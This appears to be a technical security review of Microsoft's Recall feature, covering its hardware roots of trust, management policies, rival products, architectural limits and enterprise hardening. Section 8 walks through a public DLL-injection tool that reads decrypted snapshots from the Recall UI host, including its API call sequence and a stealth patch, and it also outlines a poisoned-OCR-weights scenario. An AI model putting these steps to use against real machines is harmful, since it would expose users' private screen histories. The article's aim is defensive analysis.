Intel Core Ultra 200V (Lunar Lake), Series 3, Series 3	Pluton (integrated, where present) and discrete TPM 2.0	Discrete TPM 2.0 plus Pluton-equivalent integration
AMD Ryzen AI 300 series and Ryzen 6000-9000	AMD Pluton Security Processor	Pluton-equipped SKUs; some retain discrete TPM 2.0

PPL is the Windows process-protection level that gates which processes are permitted to inject code into, debug, or read the memory of a given target process. A PPL process is signed at a specific signer level; only processes signed at an equal-or-higher level can interact with its address space using the privileged debug or memory-access APIs. The Recall *Snapshot Service* is a PPL at a signer level the rest of user mode cannot reach. The *Recall UI* (covered in §8) is not a PPL, and that distinction is the architectural seam Hagenah's April 2026 disclosure exploits.

The Pluton-versus-discrete-TPM trade-off is small but real. A Pluton-integrated TPM has no off-die bus carrying the security-processor traffic that an attacker can sniff with a logic analyser; the integration is in-package. A discrete TPM has a documented bus-sniffing attack surface that the Secured-core PC requirement set (HVCI, System Guard Secure Launch, Kernel DMA Protection) is designed to mitigate but does not eliminate.The bus-sniffing attack is not specific to Recall; it is a general TPM-attachment concern that applies to BitLocker, Credential Guard, and any other TPM-sealed key. Recall inherits both the threat and the mitigation set from the platform.

For most Copilot+ PCs in 2026, the practical difference is small. The architectural correctness of the September 27 design does not depend on the choice.

The management surface

The IT-admin management surface is documented in Manage Recall on Microsoft Learn [@rec-08]. The defaults differ between consumer and managed devices: on a managed device, "Recall is disabled and removed" by default, and an explicit Intune policy is required to allow enrolment. The relevant Intune Settings Catalog entries are:

AllowRecallEnablement -- the explicit consent gate for any organisation that wants Recall to be available on its managed fleet. Threat model addressed: unintended consumer-default opt-in on managed devices; without this policy explicitly set to "allowed," the Manage Recall page's managed-device default ("disabled and removed") stands.
DisableAIDataAnalysis -- the Group Policy gating surface for Copilot+ AI features. Threat model addressed: organisations that want a single switch to keep all on-device AI processing (Recall, Click to Do, future shell features) off the fleet, rather than enumerating each feature individually.
Snapshot-retention and storage-allocation policies -- data-minimisation controls for the per-device snapshot corpus. Threat model addressed: bounding the maximum size of any single exfiltration window in the event a future UI-host weakness is found; fewer snapshots and shorter retention reduce the corpus exposed to a successful post-authentication extraction.
Per-app exclusion list -- per-window snapshot exclusion for applications the operator designates. Threat model addressed: high-value secrets surfaced by the password manager, the corporate VPN client, and similar sensitive UIs that should never enter the snapshot corpus regardless of how strong the storage encryption is.

Microsoft Purview Endpoint DLP adds a parallel policy surface for window-level snapshot exclusion of any application handling regulated data [@rec-08]. Group Policy parity exists for the same surfaces, for organisations that have not yet adopted Intune.Intune management of Recall was not a 2026 debut. The Manage Recall documentation was published alongside the Insider preview in late 2024 and matured through the April-May 2025 GA cycle. The 2026 work is stabilisation, not introduction.

User-facing surfaces

End users encounter Recall through a small number of touchpoints documented in the Insider preview blog [@rec-04] and the developer integration page [@rec-09]. The keyboard shortcut Win+J launches the Recall UI. The Out-Of-Box Experience asks the user to opt in to saving snapshots and to enrol Windows Hello before any capture begins. The per-app exclusion list is reachable from Settings. Storage allocation defaults are configurable, with a documented audit path through the Manage Recall policy reference.

Note: On a managed-device pilot, deploy the AllowRecallEnablement Intune policy before the OOBE flow begins on the device. If the policy lands after the user has completed OOBE, you leave a small window in which the user could opt in under the consumer default. Pre-deploying the policy makes the managed-device default (Recall disabled) authoritative from first boot.

Recall is the on-device-only Copilot+ feature, on a defined silicon set, with a defined management surface. Who else ships in this space, and how do their architectures compare?

7. Competing Approaches Under the Same UX Label

Three other architectures ship a search-your-past-screen or near-adjacent UX in the 2024-2026 window. Each made a different choice about where the trust boundary lives.

Rewind.ai (macOS, 2022 to present)

Rewind.ai is the closest architectural predecessor to the May 2024 Recall design. It captures the user's macOS screen, OCRs the captures, and stores them locally in an SQLCipher-encrypted SQLite database, with the database key held in the macOS Keychain [@rec-28] [@rec-29] [@rec-30]. There is no per-query biometric prompt; there is no Secure Enclave gating on each access. Architecturally, Rewind relies on macOS sandboxing and FileVault for the surrounding protection.The vendor security page at rewind.ai/security resolves to a domain-parking template as of May 2026, so this architectural description is INFERRED_DETAIL drawn from the Nudge Security third-party profile [@rec-28] and the SQLCipher canonical pages [@rec-29] [@rec-30] rather than a vendor-published spec.

SQLCipher uses AES-256-CBC per page with a per-page random IV and HMAC-SHA512, deriving the key from a passphrase via PBKDF2-HMAC-SHA512 with 256,000 default iterations [@rec-30]. That is reasonable file-encryption; it is not per-access authentication. A same-user process that can read the SQLCipher key out of Keychain has plaintext access to every screen capture the user has ever taken -- structurally the same condition that broke the May 2024 Recall design, on a different operating system with a different sandbox model.

Apple Intelligence Personal Context + Private Cloud Compute (2024 to present)

Apple's Personal Context personalisation is not a search-your-past-screen product. It is structured-app-data personalisation: messages, mail, calendar, photo metadata, and similar surfaces. The on-device tier runs in the Apple Silicon Secure Enclave. The off-device tier -- Private Cloud Compute -- carries a binary-transparency-style commitment that the cloud nodes process personal data only inside a hardened OS image whose source code Apple publishes for outside review [@rec-27]. The PCC architecture is included in this comparison not because it is a Recall analogue (it isn't), but because it shows what Apple has chosen to ship at the adjacent problem class: structured data personalisation, not screen-history.

Consumer cloud-capture devices (Limitless, Plaud, and similar)

Consumer cloud-capture devices invert the trust model. The capture happens on a dedicated wearable or microphone; the processing happens on a vendor's cloud tier; the storage lives in the vendor's account model with end-to-end encrypted upload and vendor-side AES-256-GCM at rest. This is architecturally the opposite of Recall: on-device-only is replaced by on-vendor-cloud, and the trust boundary is at the vendor's perimeter rather than at the user's silicon. The internals of any specific vendor's stack are not in the scope-mandated source set; the entry exists to establish the existence of the cloud-tier alternative, not to certify any specific vendor's claim.

The eight-dimension matrix

Architecture	On-device only	Hardware-rooted master	TEE-isolated compute	Per-access biometric	Pre-persistence filter	TEE-isolated UI plane	KDF/nonce documented	CVE record
Recall Gen 1 (May 2024, did not ship)	Yes	No	No	No	No	No	N/A	Pre-release
Recall Gen 3+4 (Sept 2024 - May 2026)	Yes	Yes (TPM 2.0, Pluton where available)	Yes (VBS Enclave)	Yes (Hello ESS)	Yes (Purview EDM)	No (UI explicitly untrusted)	Partial	No CVE through May 2026
Rewind.ai (macOS)	Yes	Keychain-rooted	Limited	No	No	No	N/A	N/A
Apple Personal Context + PCC	Hybrid	Yes (Secure Enclave)	Yes (Secure Enclave / PCC)	Yes	Apple-managed	Apple-managed	Partial	N/A
Consumer cloud-capture	No	Vendor cloud	Vendor cloud	Vendor flow	Vendor flow	Vendor flow	Not public	N/A
SQL Server 2019 AE w/ enclaves	Server-side	Yes (TPM-attested)	Yes (VBS Enclave)	N/A	N/A	N/A	Yes (documented)	Patched as needed

Recall Generation 3+4 is the only design in the surveyed set that checks five of the six "ideal" properties: on-device-only data flow, hardware-rooted master key, TEE-isolated sensitive compute, per-access biometric authentication, and pre-persistence sensitive-content filtering. The sixth ideal property -- TEE-isolated plaintext delivery to the UI plane -- is the architectural seam §8 explores.

flowchart LR A["On-device only
YES"] B["Hardware-rooted master
YES"] C["TEE-isolated compute
YES"] D["Per-access biometric
YES"] E["Pre-persistence filter
YES"] F["TEE-isolated UI plane
NO -- UI is explicitly untrusted"] A --> G((Recall Gen 3+4)) B --> G C --> G D --> G E --> G F -. "the seam" .-> G

Five of six properties. What does the missing sixth cost?

8. What the VBS Enclave Model Cannot Do

Microsoft's September 27, 2024 architecture is the strongest design Windows has shipped for an on-device personal-context store. It is not the strongest design that is theoretically possible -- and it is honest about which classes of attack it does not address. Here are five.

8.1 The UI host runs outside the enclave

This is the load-bearing limit. Davuluri's blog states it directly: "Recall components such as the Recall UI operate outside the VBS Enclaves and are untrusted in this architecture" [@rec-03]. The architecture diagram labels the UI box untrusted. The blog says this in September 2024, eighteen months before anyone publishes an exploit for it. The seam is documented.

In April 2026, Alexander Hagenah released TotalRecall Reloaded against the Generation 3+4 design [@rec-12]. The tool has two files: totalrecall.exe, an injector, and totalrecall_payload.dll, the payload. The injector locates the AIXHost.exe UI host via CreateToolhelp32Snapshot, allocates memory in the target with VirtualAllocEx, writes the path of the payload DLL with WriteProcessMemory, and spawns a remote thread pointing at LoadLibraryW. Once loaded, the payload reads decrypted Recall data out of the AIXHost.exe address space, where the enclave has just delivered it after the user's legitimate Hello authentication [@rec-12] [@rec-22].

Hagenah's verbatim characterisation, from the README: "No admin required. Standard user. No kernel exploit. No crypto bypass. Just COM calls." [@rec-12]. The tool ships three execution modes -- --launch (start AIXHost.exe and inject), --stealth (operate without UI signals), and --wait (attach to a future legitimate AIXHost.exe instance) [@rec-12]. The --stealth mode patches a function called DiscardDataAccess inside a DLL referred to as Baker.dll, which would otherwise discard the decrypted snapshot data on UI dismissal.The Baker.dll DiscardDataAccess patch is a reverse-engineering detail rather than a load-bearing architectural point, but it illustrates the surface area available to an injected payload inside the UI host's address space. Anything the UI process can do to a memory region, an injected DLL can do too.

The vault is solid. The delivery truck is not. -- Alexander Hagenah, TotalRecall Reloaded README, April 2026 [@rec-12]

The disclosure timeline is in the public record. Hagenah submitted a full disclosure to the Microsoft Security Response Center on March 6, 2026, including source code and build instructions [@rec-23]. Microsoft opened a case nine days later and closed it on April 3, 2026 with the determination that the behaviour "operates within the current, documented security design of Recall" [@rec-23]. The public release of the tool followed.

Note: Per iTnews's coverage of the disclosure, Microsoft's MSRC response after a month of review was that the demonstrated behaviour "operates within the current, documented security design of Recall" [@rec-23]. The phrasing is precise. The September 27, 2024 architecture blog [@rec-03] publishes that the UI host is outside the enclave; the MSRC servicing criteria [@rec-11] publish that same-user post-authentication code is not a security boundary. Hagenah demonstrated what "untrusted in this architecture" means in practice; MSRC confirmed the demonstration is consistent with the published model. Reasonable readers may disagree on whether the published model is the right model; the present article does not take a side and leaves that judgment to the reader.

sequenceDiagram participant User participant Inj as totalrecall.exe (standard user) participant AIX as AIXHost.exe (UI host, VTL0) participant Hello as Hello ESS / VBS Enclave participant Pay as totalrecall_payload.dll User->>AIX: Win+J launches Recall UI AIX->>Hello: request snapshot data User->>Hello: present biometric Hello->>AIX: deliver decrypted snapshot to address space Inj->>AIX: CreateToolhelp32Snapshot, locate process Inj->>AIX: VirtualAllocEx, write payload path Inj->>AIX: WriteProcessMemory with payload DLL path Inj->>AIX: CreateRemoteThread targeting LoadLibraryW AIX->>Pay: LoadLibraryW loads the payload DLL Pay->>AIX: read decrypted data from same address space Pay-->>Inj: exfiltrate plaintext snapshots AppContainer is the Windows process-isolation primitive that restricts a process's access to filesystem, registry, network, and inter-process surfaces to an explicit capability list declared at process launch. Universal Windows Platform applications and modern packaged applications launch inside an AppContainer by default; the kernel enforces the capability set on every access to a securable object. A Generation 6 Recall UI launched inside an AppContainer would not be able to load arbitrary user-supplied DLLs into its address space, because the AppContainer's capability set would not include the broad inter-process token-and-memory-access capabilities that Hagenah's injector relies on (`OpenProcess` for `PROCESS_VM_WRITE` and `PROCESS_CREATE_THREAD` against an out-of-container target are gated by the AppContainer's integrity level and capability set).

Key idea: The Generation 3 cryptographic chain holds -- as §5 established, a process with full filesystem access, a kernel-mode caller, and an administrator all read only ciphertext. The architectural seam is at the plaintext-delivery boundary -- the UI host, by Microsoft's own published architecture, is explicitly outside the enclave. Closing this seam would require a Generation 6 design that combines a high-signer Protected Process Light for the UI host, AppContainer with capability-restricted code-loading, and WDAC-enforced code integrity for the UI process tree. No such Microsoft commitment exists as of May 2026.

The deeper observation is one of recurrence. The Generation 1 failure was "same-user code is in the user's trust boundary, and the architecture relied on a filesystem ACL rather than per-access authentication." The Generation 5 disclosure is "same-user code is in the user's trust boundary, and the architecture relied on the UI host being a normal user-mode process." Different layer; same threat-model limit, restated.

8.2 Rubber-hose against an authenticated user

No per-access authentication scheme can defeat a coerced legitimate user. If the user is physically compelled to authenticate with Hello and then operate the UI, the architecture authorises a release into the UI plane that the coercer can read off the screen, off a screenshot, or off a redirected output device. The September 27 design explicitly does not address this threat class, and no plausible Generation N design within the same UX category can. The control here is procedural -- duress codes, panic gestures, or a separate "do not authorise" PIN -- rather than cryptographic.

8.3 NPU and GPU side channels

The VBS Enclave is the trust boundary for CPU-side computation. The Neural Processing Unit that drives Recall's semantic embedding is not in the enclave; neither is the integrated GPU. Side-channel attacks on AI accelerator memory hierarchies are unstudied territory in the published Copilot+ PC literature as of May 2026. There is no public proof of a Recall-specific NPU side channel; there is also no published assurance that one does not exist. This is "unknown unknown" territory, which is honest to state and dangerous to pretend has been ruled out.

8.4 OCR model integrity

The local OCR model loads from disk; the code inside the enclave reads and uses the weights. Microsoft has not publicly committed to a signed-weights verification step for the OCR model at enclave load. An attacker with administrator access could in principle substitute poisoned weights -- weights that deliberately mis-OCR specific credential formats so that the Purview EDM filter does not catch them, thereby smuggling sensitive plaintext through the filter and into the persistent store. Admin compromise is an out-of-scope class per the MSRC servicing criteria [@rec-11], but the OCR-integrity story would be more legible if the enclave verified a signature on the model file at load time.

8.5 Substrate compromise

A Secure Boot bypass, a Secure Kernel vulnerability, or a hypervisor escape takes down VBS itself, not Recall specifically. Saar Amar and Daniel King's Black Hat USA 2020 Breaking VSM by Attacking SecureKernel [@rec-32] remains the canonical historical treatment of the SK attack surface; the substrate has been hardened in response and is not proven secure. Recall inherits whatever the substrate's residual risk is in any given month. Patching is by way of the normal Windows servicing cadence.

Microsoft, by its own published servicing criteria, accepts each of these limits as architectural choices, not defects. What does the public record not tell us, that an independent reviewer would need to know?

9. Where the Public Record Runs Out

Five things the September 27 blog does not say, and one structural question it raises that the next five years of Windows shell features will answer.

9.1 The KDF and nonce scheme are not public

Davuluri's blog [@rec-03] specifies that each snapshot is encrypted with a per-snapshot key derived from a TPM-sealed master, and that the AEAD primitive is AES-256-GCM. It does not publish the key derivation function, the per-snapshot nonce derivation, or the associated-data inputs to GCM. The §5 pseudocode is a structural reconstruction; the literal source is in aeon.dll (or equivalent) and is not documented. The practical consequence is that third-party formal cryptographic review of the per-snapshot construction is foreclosed. MORSE's internal penetration test and the unnamed third-party security vendor's review [@rec-03] were performed against the literal implementation; both reports are non-public.

9.2 On-device OCR model integrity

The OCR model loads from disk and runs inside the enclave. There is no public Microsoft commitment that the enclave verifies a signature on the model weights at load time. The §8 OCR-integrity attack -- admin substitutes poisoned weights to defeat Purview EDM -- is bounded by the admin-is-out-of-scope MSRC policy [@rec-11], but a verified-load step would tighten the story.

9.3 InPrivate / password-field pause signal forgery

Davuluri's blog mentions that Recall pauses snapshot capture during InPrivate browsing and in password fields [@rec-03]. The signalling API by which the browser or the credential UI tells the Snapshot Service to pause is not fully documented. Whether a malicious browser extension can suppress legitimate pauses (forcing a snapshot of an InPrivate page) or spuriously trigger them (denial-of-service against legitimate snapshot capture) is unstudied in the public record.

9.4 The authorisation-window timeout is not exposed by policy

The Intune ADMX template documented in Manage Recall [@rec-08] exposes AllowRecallEnablement, DisableAIDataAnalysis, snapshot retention, storage allocation, and the per-app exclusion list. It does not, as of May 2026, expose the authorisation-window timeout as a configurable policy. An enterprise that wants to require re-authentication every N minutes during a Recall session does not have a Microsoft-supported knob for it.

9.5 The pattern question

This is the structural one. Microsoft has now shipped a VBS-enclave-backed feature in the desktop shell and has open-sourced the developer-facing SDK at microsoft/VbsEnclaveTooling [@rec-31]. The repository ships a code generator and a NuGet SDK, requires Windows 11 24H2 Build 26100.3916 or later, and supports C++17 and C++20 in the host with C++20 and Rust 1.88+ in the enclave [@rec-31].The SDK lowers the barrier to building a VBS Enclave dramatically. A developer who wants to put a small piece of sensitive computation (credential handling, secrets storage, on-device LLM context) inside an enclave no longer has to reverse-engineer Recall's implementation; they can write against a documented API.

The forward question is whether other desktop-shell features adopt the same pattern. Encrypted clipboard history, encrypted recent-files, on-device LLM context windows, the password manager Edge currently keeps in user-mode RAM -- each is a candidate. Hagenah's AIXHost.exe class suggests the pattern, naively applied, repeats the same UI-host weakness for every consumer. A VBS-Enclave-backed clipboard with a normal user-mode UI host inherits the same seam.

Microsoft's internal Offensive Research and Security Engineering team ran a penetration test against the Generation 3 architecture before the September 27 announcement [@rec-03]. An unnamed third-party security vendor performed an independent review. Neither report is public. The September 27 blog cites their existence to establish that adversarial review happened; it does not cite findings, methodology, or scope. This is not a criticism so much as a public-trust framing: the residual confidence a reader can place in the architecture is gated on the credibility of two reports they cannot read. Hagenah's April 2026 disclosure is the first publicly verifiable adversarial review of the UI surface; it found exactly what the architecture diagram already warned about. That coincidence is reassuring about the *honesty* of the published model; it does not by itself certify any property the published model does not cover.

Microsoft is not going to fix the AIXHost.exe class in 2026. What can a Copilot+ PC operator actually do with the shipping Recall today?

10. Deploying Recall Safely

Six knobs, in order. Setting them in this order turns the September 2024 architecture into a deployable enterprise posture.

Procurement. Pluton-or-discrete-TPM-2.0 hardware plus ESS-capable biometric sensor (IR camera plus presence sensor, or equivalent). Without ESS-capable biometrics, the Hello-gated architecture degrades to a PIN or password fallback, which is weaker than the architecture intends [@rec-25] [@rec-24].
Policy enablement. Deploy the Intune AllowRecallEnablement policy explicitly. The Microsoft Learn Manage Recall page states that "By default, Recall is disabled and removed on managed devices" [@rec-08]; the consumer OOBE default is opt-in but applies only to unmanaged devices. The managed-device default is authoritative once policy is in force, so deploy first, then provision.
Data minimisation. Deploy the snapshot-retention and disk-allocation policies from the Manage Recall policy reference [@rec-08]. Fewer snapshots and shorter retention reduce the maximum size of any single exfiltration window.
Sensitive-app exclusion. Enable the Microsoft Purview Endpoint DLP integration for window-level snapshot exclusion of any application handling regulated data (PHI, PCI, PII), and populate the per-app exclusion list with the local password manager, the corporate VPN client, and any other surfaces with high-value secrets [@rec-08]. This is the operator-controlled complement to the in-enclave Purview EDM content filter.
Defence-in-depth for the AIXHost.exe class. Deploy Smart App Control plus a Windows Defender Application Control (WDAC) policy to deny untrusted DLL loading on the device. DLL injection requires a process to load the payload; a WDAC policy with User-Mode Code Integrity (UMCI) enabled blocks the load of any DLL -- including Hagenah's payload -- that does not match a signer or hash allow-list in the policy. The LoadLibraryW call still executes; the load fails because the code-integrity check rejects the unsigned payload. None of these are in the Recall architecture; they are platform-level controls the operator must enable.
Audit and monitoring. Existing InfoStealer behaviour rules in Microsoft Defender for Endpoint will flag bulk reads of the Recall directory as high-confidence indicators. The point worth being precise about here: these are the pre-existing InfoStealer behaviour rules, not a Recall-specific signature; they fire on the access pattern (rapid enumeration of a personal-data directory) rather than on the file format. Configure Defender and your SIEM to alert on the directory.

Note: A tempting deployment "fix" is to disable VBS entirely as a way to prevent the Snapshot Service from running. This is a net security regression. VBS is the substrate for Credential Guard, HVCI, the Hello ESS algorithm isolation, and the Recall enclave itself. Disabling VBS eliminates the protection the Generation 3 architecture provides while leaving the desktop attack surface open. If the goal is to prevent Recall from running, use AllowRecallEnablement or DisableAIDataAnalysis instead.

The list of things not to bother doing: manual AES-256-GCM on the SQLite file (the enclave already does this); manual scrubbing of the Recall directory on a schedule (the retention policy already does this); writing a custom Defender signature for the Recall directory (existing InfoStealer behaviour rules already cover the access pattern); relying on the OOBE opt-in default for an enterprise pilot (that default applies to unmanaged devices only).

{` // Conceptual audit. The real script needs PowerShell on Windows; // this is the logic an operator's audit cmdlet would implement.

type DevicePosture = { pluton_present: boolean; tpm_2_0_present: boolean; hello_ess_enrolled: boolean; smart_app_control: "on" | "off" | "evaluation"; wdac_policy: "enforced" | "audit" | "none"; allow_recall_enablement: "allowed" | "disabled" | "not-set"; retention_days: number; defender_directory_alert: boolean; };

function auditRecallPosture(d: DevicePosture): string[] { const findings: string[] = [];

if (!d.tpm_2_0_present) findings.push("FAIL: no TPM 2.0; sealing path unavailable."); if (!d.pluton_present) findings.push("INFO: discrete TPM 2.0; bus-sniffing residual risk."); if (!d.hello_ess_enrolled) findings.push("FAIL: Hello ESS not enrolled; per-access biometric degraded to PIN."); if (d.smart_app_control === "off") findings.push("WARN: Smart App Control off; AIXHost.exe injection class wide open."); if (d.wdac_policy !== "enforced") findings.push("WARN: WDAC not in enforcement mode; LoadLibraryW gating absent."); if (d.allow_recall_enablement === "not-set") findings.push("WARN: AllowRecallEnablement not set; OOBE default may apply."); if (d.retention_days > 30) findings.push("INFO: retention >30 days; consider tightening for high-risk roles."); if (!d.defender_directory_alert) findings.push("WARN: Defender directory-enumeration alert not configured.");

return findings.length ? findings : ["OK: posture matches Gen 3+4 deployment guide."]; } `}

If you have gotten this far, you have the questions a reader walks in with answered. Here are the questions a reader walks out with.

11. Frequently Asked Questions

No. The September 27, 2024 architecture blog [@rec-03] and the IT-admin *Manage Recall* documentation [@rec-08] both state that snapshots, OCR text, and the semantic index are processed and stored entirely on-device. The Microsoft Diagnostic Data telemetry pipeline does not carry snapshot data. This is the one property the original May 2024 design got right, and it survived the re-architecture intact. No. Session-replay tools record interactive sessions for product analytics and ship the recording to a vendor cloud. Screen recording for accessibility (e.g., screen readers, magnification) operates on the live frame and does not persist a corpus. Compliance archiving (e.g., legal-hold mailbox archives) is a server-side, vendor-managed retention surface. Recall is on-device, personal, search-indexed over OCR text and embeddings, and gated on Hello biometric. The architectural lineage and the threat model differ for each. Yes, on a discrete TPM 2.0 SKU. The Microsoft Pluton chipset list [@rec-24] enumerates the Pluton-equipped silicon; Copilot+ PCs that are not on that list satisfy the Recall hardware requirements via a discrete TPM 2.0. The trade-off is the bus-sniffing surface discussed in §6: a Pluton-integrated TPM has no off-die bus to sniff for the security-processor traffic. The architectural correctness of the September 27 design does not depend on the choice; only the bus-sniffing residual risk does. Different threat models. BitLocker's threat model is offline disk theft: an adversary with the powered-off laptop in hand. The May 2024 Recall design borrowed BitLocker's "data at rest is encrypted" framing without absorbing that the dominant Recall adversary is a logged-on session adversary (an InfoStealer running as the user), against which BitLocker has nothing to say. Microsoft did not delay BitLocker because the original 2007 BitLocker matched the threat model it claimed to address; they delayed Recall because the original 2024 Recall did not. No, as of May 2026. The Hagenah AIXHost.exe class disclosed in April 2026 [@rec-12] [@rec-22] [@rec-23] was reported to MSRC on March 6, 2026; Microsoft closed the case on April 3, 2026 with the determination that the behaviour "operates within the current, documented security design of Recall" [@rec-23]. That determination is consistent with the published MSRC servicing criteria [@rec-11], which do not list same-user post-authentication as a security boundary. No CVE was assigned. No. The on-device NPU is required for the semantic-embedding step, and the Copilot+ hardware baseline (Pluton or discrete TPM 2.0 plus an NPU at a minimum throughput tier plus an ESS-capable biometric sensor) is a hard prerequisite [@rec-09] [@rec-04]. There is no CPU-only fallback for the embedding pipeline, and the on-device-only data flow forecloses a cloud fallback by design. No. As covered in §5, a VBS Enclave is a sub-region of a VTL0 host process that is promoted to VTL1 by the Secure Kernel [@rec-06]. An IUM trustlet (e.g., LsaIso, which backs Credential Guard) is a full Isolated User Mode process that runs wholly in VTL1. Both rely on the same hypervisor partition and Secure Kernel substrate, and the MSRC servicing criteria treat both under the VBS boundary policy [@rec-11], but the patterns are architecturally distinct. Microsoft's own documentation uses "VBS Enclave" terminology for the Recall case throughout [@rec-03] [@rec-06] [@rec-07]. Click to Do is a separate Copilot+ feature with a separate but partially overlapping privacy story; the November 22, 2024 Insider blog [@rec-04] bundles the two opt-in flows in the same first-run experience. Click to Do operates on the *current* screen rather than a history of past screens, and it does not maintain a persistent corpus. The bundling is a UX choice, not an architectural sharing of the snapshot store. No, even as administrator. The Snapshot Store holds AES-256-GCM ciphertext; the per-snapshot keys are derivable only inside the enclave; the master is sealed by the TPM and released to the enclave only on a fresh Hello attestation. An administrator with full filesystem access to the snapshot directory reads ciphertext [@rec-03] [@rec-11]. The Hagenah AIXHost.exe class [@rec-12] is *post-authentication* extraction from the UI host's address space, not an administrator-side read of the encrypted data. The cryptographic chain holds against admin; the seam is at the UI plane.

The arc this article walks -- a vendor ships, an audit lands, the vendor re-architects, an audit finds a seam, the vendor confirms the seam was in the published model -- is what the security feedback loop looks like when it works as designed. Naming each phase is what lets a reader recognise the same loop the next time a major Windows feature ships. The architecture diagram that ships with the next personal-data feature out of Redmond will, if the pattern holds, label its UI host the way Davuluri's labels the Recall UI: as untrusted, in writing, in advance. The reader who has walked this far should know to look for that label, and to evaluate the feature on whether the architecture names its seam rather than hiding it.

On a Copilot+ PC, the following PowerShell cmdlets (run as administrator) give you the device-side view: `Get-Tpm` for TPM 2.0 presence and Pluton attestation; `Get-CimInstance -Namespace root\cimv2\Security\MicrosoftTpm -ClassName Win32_Tpm` for detailed TPM state; `Get-LocalUser | Where-Object Enabled` plus the Hello enrolment surface in Settings for Hello ESS state; `Get-MpComputerStatus` for Defender status; and the Intune device-status portal for `AllowRecallEnablement` and related policies [@rec-08]. The §10 audit-script logic above describes the cross-check structure.